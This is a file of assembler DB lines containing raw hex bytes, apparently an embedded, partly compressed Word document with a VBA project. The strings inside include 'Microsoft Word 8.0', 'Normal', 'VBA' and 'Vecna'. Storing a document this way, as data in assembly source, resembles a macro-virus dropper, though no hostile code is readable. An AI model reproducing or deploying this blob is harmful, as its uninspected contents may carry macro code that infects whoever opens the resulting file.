DB 010H,0EFH,0FFH,00FH,010H,00FH,010H,00CH,010H,042H,066H,001H,002H,004H,00CH
DB 014H,00FH,00DH,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,0FFH,0FFH,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,03FH,0FBH,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,009H,010H,001H,000H,012H,0FCH,023H,000H,0FDH,009H
DB 014H,00FH,00AH,00FH,010H,00FH,010H,00FH,010H,0FFH,0FFH,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,0FFH,0EFH
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,007H,010H,082H,064H,000H,028H,000H,007H,015H,00FH
DB 008H,0FFH,0FFH,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,0FFH,0FFH,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,0FFH,0FFH,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,0FFH,0FFH
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,0FFH,0FFH,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,0FFH,03FH,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,012H,000H,0E8H,041H,00FH,000H,00AH,062H,007H
DB 05BH,002H,008H,0E2H,069H,004H,01FH,0E2H,086H,040H,0F1H,0FFH,002H,000H,002H
DB 008H,000H,000H,060H,006H,000H,04EH,000H,06FH,000H,072H,000H,06DH,000H,061H
DB 000H,06CH,002H,01EH,003H,024H,004H,070H,000H,000H,06DH,048H,016H,082H,038H
DB 002H,00FH,00CH,003H,036H,000H,041H,040H,0F2H,0FFH,0A1H,000H,036H,011H,040H
DB 002H,016H,013H,000H,046H,002H,038H,06EH,000H,074H,000H,065H,000H,020H,000H
DB 070H,002H,03EH,072H,040H,03DH,000H,0E1H,000H,067H,000H,02EH,006H,00EH,064H
DB 002H,054H,0E3H,002H,022H,002H,02BH,00CH,003H,063H,095H,002H,000H,062H,078H
DB 000H,0D2H,049H,001H,000H,0FFH,002H,001H,003H,010H,004H,020H,0FFH,0FFH,003H
DB 008H,005H,029H,009H,00AH,087H,0BCH,003H,0AFH,082H,003H,019H,002H,090H,083H
DB 0C8H,002H,007H,000H,007H,018H,005H,002H,018H,0FFH,002H,0C8H,000H,000H,005H
DB 000H,056H,002H,088H,008H,000H,063H,000H,06EH,002H,088H,012H,000H,043H,000H
DB 03AH,000H,05CH,000H,04CH,000H,049H,000H,028H,02AH,058H,000H,04FH,002H,00AH
DB 06CH,002H,088H,061H,000H,064H,002H,022H,072H,002H,0A0H,064H,002H,00EH,074H
DB 000H,0D4H,005H,0FFH,001H,003H,068H,056H,002H,042H,000H,002H,088H,004H,007H
DB 00AH,005H,010H,003H,091H,002H,000H,025H,000H,054H,0B5H,0A8H,002H,035H,06DH
DB 002H,0DFH,06CH,002H,059H,003H,0EBH,050H,002H,0D7H,06FH,000H,06AH,002H,016H
DB 063H,002H,0FBH,02EH,002H,020H,080H,060H,068H,000H,069H,000H,073H,000H,044H
DB 002H,055H,063H,000H,075H,000H,06DH,002H,01AH,013H,015H,02EH,014H,035H,000H
DB 041H,002H,00EH,074H,002H,016H,045H,000H,078H,002H,014H,063H,012H,083H,011H
DB 003H,072H,003H,053H,045H,000H,0A8H,0A2H,04DH,000H,050H,002H,0A0H,041H,002H
DB 03FH,045H,002H,00AH,052H,002H,0A6H,04AH,000H,045H,002H,0B8H,054H,002H,0A0H
DB 0A8H,01AH,054H,000H,048H,002H,0BAH,053H,002H,053H,04FH,002H,012H,055H,002H
DB 02CH,045H,012H,0A4H,003H,01AH,041H,000H,055H,055H,01CH,002H,032H,04FH,002H
DB 02AH,058H,002H,004H,043H,002H,0B0H,040H,000H,080H,003H,055H,002H,00AH,002H
DB 003H,0E8H,020H,082H,04FH,001H,002H,066H,009H,010H,002H,013H,004H,003H,002H
DB 010H,004H,007H,000H,002H,01DH,000H,000H,020H,000H,000H,008H,000H,010H,001H
DB 040H,000H,000H,003H,002H,014H,047H,016H,090H,002H,02EH,002H,002H,006H,003H
DB 005H,004H,005H,0F8H,056H,002H,003H,004H,003H,014H,002H,017H,008H,003H,002H
DB 01DH,004H,00CH,054H,002H,0E3H,003H,0D9H,073H,002H,03EH,04EH,002H,0CDH,077H
DB 02DH,000H,002H,008H,052H,002H,0DBH,023H,034H,06EH,002H,022H,035H,010H,090H
DB 001H,002H,000H,005H,005H,001H,002H,0C0H,08BH,001H,007H,006H,002H,005H,007H
DB 002H,013H,003H,003H,007H,077H,003H,00CH,080H,003H,005H,053H,000H,079H,012H
DB 021H,026H,0BCH,062H,002H,03AH,023H,06AH,033H,022H,004H,07EH,00BH,006H,004H
DB 002H,003H,001H,00FH,07EH,004H,0AEH,003H,036H,041H,012H,073H,016H,000H,069H
DB 012H,07FH,003H,034H,022H,012H,0FBH,030H,008H,088H,018H,000H,000H,0C4H,002H
DB 000H,000H,0A9H,0C1H,05CH,004H,0A1H,078H,01CH,033H,066H,07AH,002H,004H,003H
DB 02CH,001H,000H,002H,017H,003H,009H,004H,004H,001H,004H,044H,004H,0F8H,0FDH
DB 000H,003H,010H,004H,029H,004H,014H,013H,006H,003H,00EH,003H,004H,003H,011H
DB 024H,00FH,0F5H,003H,015H,00FH,004H,00FH,010H,00FH,010H,00FH,010H,0FFH,0FFH
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,03FH,0F8H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,006H,010H,013H
DB 0CCH,058H,001H,0FFH,0FFH,012H,006H,010H,007H,007H,03BH,0EEH,00BH,00CH,007H
DB 020H,0FFH,0FFH,00FH,008H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,0FDH,0FFH,00BH,010H,0FFH,00FH,001H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,0FFH,0FFH,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,0FFH,0FFH,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,0FFH,0FFH,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,0FFH,0FFH,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,0FFH,0FFH,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,0FFH,0FFH
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,0FFH,0FFH,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,0FFH,0FFH,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,0FFH,0FFH,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,0F3H
DB 000H,00FH,010H,00EH,010H,0FEH,0FFH,0F3H,02FH,0B3H,04AH,0ABH,016H,0D3H,006H
DB 000H,000H,0E0H,085H,09FH,0F2H,0F9H,04FH,000H,0E8H,068H,010H,0ABH,091H,008H
DB 000H,02BH,027H,0B3H,0D9H,030H,002H,023H,050H,0D2H,019H,0D3H,0B9H,002H,007H
DB 06CH,055H,000H,088H,002H,010H,003H,03AH,090H,002H,008H,0D3H,027H,09CH,002H
DB 008H,004H,002H,004H,0A8H,002H,004H,005H,002H,004H,0B8H,0ABH,05AH,002H,004H
DB 0D3H,0EDH,0C4H,002H,008H,008H,002H,004H,0D4H,002H,004H,009H,002H,004H,0E4H
DB 002H,004H,0B3H,0B4H,0F0H,002H,008H,00AH,04DH,055H,002H,004H,00CH,002H,04DH
DB 0F2H,0F1H,000H,018H,002H,008H,00DH,002H,010H,024H,002H,008H,00EH,002H,008H
DB 030H,002H,008H,00FH,0ADH,0D6H,002H,008H,038H,002H,008H,003H,074H,040H,002H
DB 008H,013H,002H,010H,048H,002H,008H,003H,078H,0E4H,002H,06DH,01EH,002H,010H
DB 002H,00FH,029H,0E0H,002H,006H,073H,000H,00FH,00CH,006H,002H,016H,056H,065H
DB 063H,06EH,061H,000H,066H,009H,01CH,002H,010H,003H,028H,0C1H,00DH,003H,098H
DB 04EH,06FH,072H,06DH,061H,0E2H,037H,003H,010H,009H,02CH,000H,004H,02CH,003H
DB 060H,031H,000H,063H,06EH,003H,000H,003H,01CH,003H,074H,04DH,069H,063H,072H
DB 06FH,073H,06FH,066H,074H,020H,057H,06FH,072H,064H,018H,014H,020H,038H,02EH
DB 012H,00DH,0F2H,027H,000H,000H,08CH,086H,047H,002H,067H,000H,004H,00CH,0B0H
DB 0E8H,03DH,010H,0FFH,0B8H,065H,0BEH,001H,004H,00CH,03CH,06FH,085H,003H,00CH
DB 013H,018H,003H,0A0H,003H,008H,003H,028H,00FH,008H,01EH,08FH,00FH,00FH,0FFH
DB 0FFH,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,0FFH,0FFH,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,0FFH,0FFH,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,0FFH,0FFH,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 0FFH,0FFH,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,0FFH,0FFH,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,0FFH,0FFH,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,0FFH,0FFH,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,0FFH,0FFH,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,0FFH,0FFH,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,0FFH,0FFH,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,0FFH,0FFH
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,0FFH,0FFH,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,0FFH,0FFH,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,03FH,0E0H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,0FFH,0FEH,0FFH,000H,000H,004H
DB 000H,0E3H,0EEH,0E3H,09EH,009H,004H,001H,000H,003H,012H,002H,0D5H,0CDH,0D5H
DB 09CH,02EH,01BH,010H,093H,097H,008H,000H,02BH,02CH,0F9H,054H,067H,0AEH,044H
DB 002H,01FH,005H,00EH,014H,02CH,0E2H,0DDH,0E8H,002H,018H,0F3H,0C0H,002H,00BH
DB 000H,068H,002H,00CH,0F3H,0B4H,070H,0B5H,0AAH,002H,008H,005H,002H,004H,07CH
DB 002H,004H,0F3H,05CH,084H,002H,008H,011H,002H,004H,08CH,002H,004H,017H,002H
DB 004H,094H,002H,004H,0DAH,0AAH,00BH,002H,004H,09CH,002H,004H,0F3H,0DCH,0A4H
DB 002H,008H,0F3H,068H,0ACH,002H,008H,016H,002H,004H,0B4H,002H,004H,00DH,002H
DB 004H,076H,0E1H,0BCH,002H,004H,003H,05CH,0C9H,002H,008H,003H,094H,0F7H,0F4H
DB 004H,002H,010H,032H,039H,041H,000H,0F3H,050H,003H,078H,00BH,008H,0C3H,03BH
DB 002H,01BH,004H,018H,0B3H,00DH,008H,000H,003H,064H,003H,010H,00FH,008H,007H
DB 010H,01EH,002H,07DH,003H,040H,003H,004H,000H,00CH,017H,0D8H,002H,00DH,003H
DB 065H,0F3H,0F5H,007H,002H,036H,054H,0EDH,074H,075H,06CH,06FH,004H,04CH,003H
DB 020H,098H,002H,013H,003H,068H,059H,05DH,002H,007H,000H,020H,002H,005H,003H
DB 014H,036H,002H,008H,002H,002H,004H,03EH,002H,004H,003H,010H,003H,00CH,00AH
DB 002H,00CH,05FH,000H,02BH,050H,049H,044H,05FH,047H,055H,049H,044H,014H,05CH
DB 003H,0B6H,041H,002H,016H,04EH,002H,004H,07BH,000H,0FAH,0FDH,030H,00EH,002H
DB 02DH,008H,010H,00FH,00AH,003H,02AH,009H,014H,003H,00EH,00BH,004H,07DH,002H
DB 04EH,003H,003H,01FH,0D5H,00FH,010H,00FH,010H,00FH,010H,0FFH,0FFH,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 0FFH,0FFH,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,0FFH,0FFH,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,0FFH,0FFH,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,0FFH,0FFH,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,0FFH,0FFH,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,0FFH,0FFH,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,0FFH,0FFH,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,0FFH,0FFH
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,0FFH,0FFH,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,0FFH,0FFH,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,0FFH,0FFH,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,0FFH
DB 0FFH,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,0FFH,0FFH,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,00BH,010H,07DH,0BDH,0E7H,0B4H,003H,0E2H,049H,0F3H
DB 054H,0F3H,0B4H,0F3H,0B0H,0E3H,0FFH,0FEH,002H,029H,009H,002H,018H,0E3H,0D0H
DB 0F3H,030H,0F3H,088H,00DH,002H,010H,0DEH,07AH,00EH,002H,004H,0F3H,0E4H,003H
DB 020H,0F3H,0D4H,012H,002H,010H,0F3H,0BCH,014H,002H,008H,015H,002H,004H,0F3H
DB 0C0H,0F3H,0E4H,003H,020H,019H,055H,05BH,002H,010H,01AH,002H,004H,01BH,002H
DB 004H,01CH,002H,004H,01DH,002H,004H,0F3H,05FH,01FH,002H,008H,003H,020H,0FDH
DB 002H,064H,022H,0ADH,0AAH,002H,00CH,028H,002H,004H,003H,010H,025H,002H,008H
DB 026H,002H,004H,027H,002H,004H,029H,002H,004H,031H,002H,004H,02AH,002H,004H
DB 0AAH,0FAH,02BH,002H,004H,02CH,002H,004H,02DH,002H,004H,02EH,002H,004H,02FH
DB 002H,004H,030H,002H,004H,003H,034H,003H,004H,002H,047H,00FH,003H,0FFH,0FFH
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,047H,000H,00FH,010H,00FH,010H,004H,010H,052H,000H,06FH,002H,002H
DB 074H,000H,020H,000H,045H,000H,06EH,000H,074H,010H,000H,000H,072H,000H,079H
DB 012H,056H,020H,050H,072H,06FH,067H,072H,061H,06DH,061H,073H,000H,000H,008H
DB 041H,052H,051H,055H,049H,056H,07EH,031H,000H,028H,000H,013H,08CH,000H,000H
DB 028H,026H,000H,000H,0D1H,023H,010H,000H,04DH,069H,063H,072H,06FH,073H,06FH
DB 066H,016H,000H,005H,001H,047H,024H,004H,049H,002H,005H,023H,044H,006H,009H
DB 002H,002H,040H,000H,000H,0C0H,004H,006H,000H,046H,003H,007H,0A2H,0D8H,000H
DB 080H,008H,000H,02BH,030H,030H,09DH,0C0H,0B1H,0E1H,09BH,0B8H,065H,0BEH,001H
DB 024H,002H,015H,006H,040H,040H,023H,021H,002H,008H,031H,000H,054H,000H,061H
DB 000H,062H,000H,06CH,000H,065H,002H,00EH,026H,000H,080H,04DH,017H,011H,000H
DB 041H,072H,071H,075H,069H,076H,06FH,073H,020H,064H,065H,00FH,088H,081H,001H
DB 00FH,088H,010H,000H,00EH,000H,002H,000H,002H,07BH,008H,003H,000H,04DH,049H
DB 043H,052H,04FH,053H,050H,000H,07EH,032H,000H,01EH,008H,0B0H,0DAH,003H,0B0H
DB 06FH,064H,065H,06CH,06FH,073H,000H,04DH,04FH,008H,020H,044H,045H,008H,002H
DB 06AH,000H,010H,000H,000H,026H,003H,000H,0F0H,057H,002H,0FEH,072H,000H,008H
DB 07EH,064H,000H,044H,002H,008H,063H,000H,075H,000H,06DH,002H,088H,013H,008H
DB 003H,023H,00FH,004H,00FH,010H,003H,010H,01AH,0F8H,047H,000H,002H,001H,033H
DB 034H,007H,081H,003H,014H,00FH,004H,00FH,010H,004H,010H,002H,080H,003H,008H
DB 005H,000H,053H,004H,076H,06DH,0ABH,0EAH,012H,006H,013H,07CH,049H,012H,086H
DB 066H,002H,08CH,072H,002H,08AH,061H,012H,090H,069H,002H,00CH,06EH,003H,029H
DB 00FH,004H,006H,010H,0FEH,0E3H,028H,002H,080H,013H,072H,033H,0BCH,003H,084H
DB 006H,017H,00FH,007H,00CH,010H,004H,07BH,004H,005H,000H,000H,005H,00FH,0FAH
DB 00FH,090H,00FH,090H,0FDH,056H,00EH,090H,038H,002H,080H,003H,078H,007H,004H
DB 00CH,069H,00FH,00DH,006H,010H,018H,003H,008H,006H,080H,04DH,002H,0F8H,063H
DB 022H,076H,06FH,07CH,0F4H,000H,073H,003H,016H,00FH,004H,00FH,010H,00FH,010H
DB 022H,000H,001H,001H,001H,002H,016H,00CH,002H,004H,043H,0A4H,002H,007H,00FH
DB 003H,010H,083H,000H,080H,092H,064H,024H,078H,0A0H,010H,0DAH,004H,008H,00BH
DB 021H,056H,000H,042H,000H,041H,00BH,011H,0C7H,0C7H,00FH,00CH,00FH,010H,00EH
DB 010H,008H,000H,001H,028H,080H,053H,034H,00EH,01FH,004H,00FH,007H,080H,0C0H
DB 047H,0C9H,00FH,080H,022H,0FEH,0E8H,0FFH,068H,000H,069H,002H,0FCH,044H,012H
DB 058H,02FH,080H,004H,03DH,00FH,005H,00EH,010H,023H,080H,053H,0A4H,023H,0D4H
DB 013H,084H,00EH,01FH,00FH,00FH,0FDH,0FFH,008H,010H,096H,053H,0E5H,002H,00EH
DB 013H,03CH,023H,040H,033H,0BCH,023H,044H,023H,0CCH,003H,01BH,003H,0CCH,003H
DB 054H,003H,05CH,06FH,000H,067H,000H,013H,0C3H,0BFH,0EAH,06FH,000H,06BH,000H
DB 013H,0E8H,067H,000H,053H,0A4H,06FH,000H,020H,002H,080H,021H,002H,004H,022H
DB 002H,004H,023H,002H,004H,043H,018H,06BH,000H,05FH,055H,063H,014H,063H,004H
DB 06FH,000H,06BH,000H,043H,094H,032H,002H,03CH,033H,002H,004H,034H,002H,004H
DB 035H,002H,004H,036H,002H,004H,037H,055H,055H,002H,004H,038H,002H,004H,039H
DB 002H,004H,03AH,002H,004H,03BH,002H,004H,03CH,002H,004H,03DH,002H,004H,03EH
DB 002H,004H,03FH,0ADH,05AH,002H,004H,040H,002H,004H,013H,0FCH,042H,002H,008H
DB 043H,002H,004H,044H,002H,004H,045H,002H,004H,043H,0B5H,047H,002H,008H,048H
DB 0ABH,0AAH,002H,004H,003H,0B8H,04AH,002H,008H,04BH,002H,004H,04CH,002H,004H
DB 04DH,002H,004H,04EH,002H,004H,04FH,002H,004H,050H,002H,004H,0EAH,0AAH,051H
DB 002H,004H,052H,002H,004H,053H,002H,004H,003H,02CH,003H,004H,056H,002H,00CH
DB 057H,002H,004H,058H,002H,004H,059H,002H,004H,0F6H,07FH,05AH,002H,004H,003H
DB 018H,05CH,006H,008H,013H,0A8H,00FH,004H,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,007H,010H,001H,0E0H,0FCH,016H,001H,000H
DB 001H,0B6H,022H,0C3H,034H,046H,002H,008H,0FFH,0FFH,002H,0A6H,004H,008H,005H
DB 00AH,003H,00EH,00FH,004H,00FH,010H,0BFH,055H,00BH,010H,023H,015H,023H,04DH
DB 023H,049H,023H,045H,008H,069H,001H,023H,04FH,003H,00EH,078H,002H,02FH,0DEH
DB 002H,004H,0F7H,022H,078H,0F5H,00FH,0D8H,022H,080H,003H,014H,002H,00FH,032H
DB 049H,000H,000H,08DH,09AH,08FH,09AH,000H,002H,07EH,023H,00FH,088H,002H,015H
DB 003H,034H,0AFH,01DH,002H,007H,00FH,003H,009H,010H,003H,0A5H,013H,002H,070H
DB 0D6H,002H,013H,003H,004H,0EBH,023H,0C5H,002H,041H,003H,018H,000H,000H,0DFH
DB 0F3H,07FH,002H,00AH,002H,019H,000H,00CH,002H,008H,003H,067H,00FH,004H,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,009H,010H,023H,0CCH
DB 002H,028H,085H,000H,053H,04CH,003H,012H,000H,002H,0EBH,053H,010H,008H,00AH
DB 094H,005H,00AH,000H,000H,002H,03CH,005H,00AH,004H,054H,0FFH,0FFH,015H,08DH
DB 001H,000H,04EH,000H,030H,000H,07BH,002H,004H,030H,002H,004H,032H,002H,004H
DB 039H,0B1H,01EH,002H,004H,036H,000H,02DH,002H,006H,003H,012H,030H,00CH,00AH
DB 043H,006H,016H,009H,01EH,005H,024H,005H,006H,034H,000H,036H,000H,08CH,000H
DB 07DH,000H,019H,0A2H,0DDH,036H,002H,000H,0DFH,033H,0E1H,013H,086H,001H,001H
DB 080H,012H,01EH,0CCH,03FH,002H,081H,023H,09DH,003H,07BH,0FFH,0FFH,003H,0A7H
DB 013H,080H,002H,017H,004H,003H,005H,016H,015H,04DH,093H,0BBH,033H,0A3H,00CH
DB 011H,07CH,0FAH,01AH,002H,00BH,018H,00FH,00CH,003H,039H,007H,014H,003H,008H
DB 00DH,000H,0A3H,035H,094H,003H,017H,004H,004H,093H,0B7H,003H,018H,003H,004H
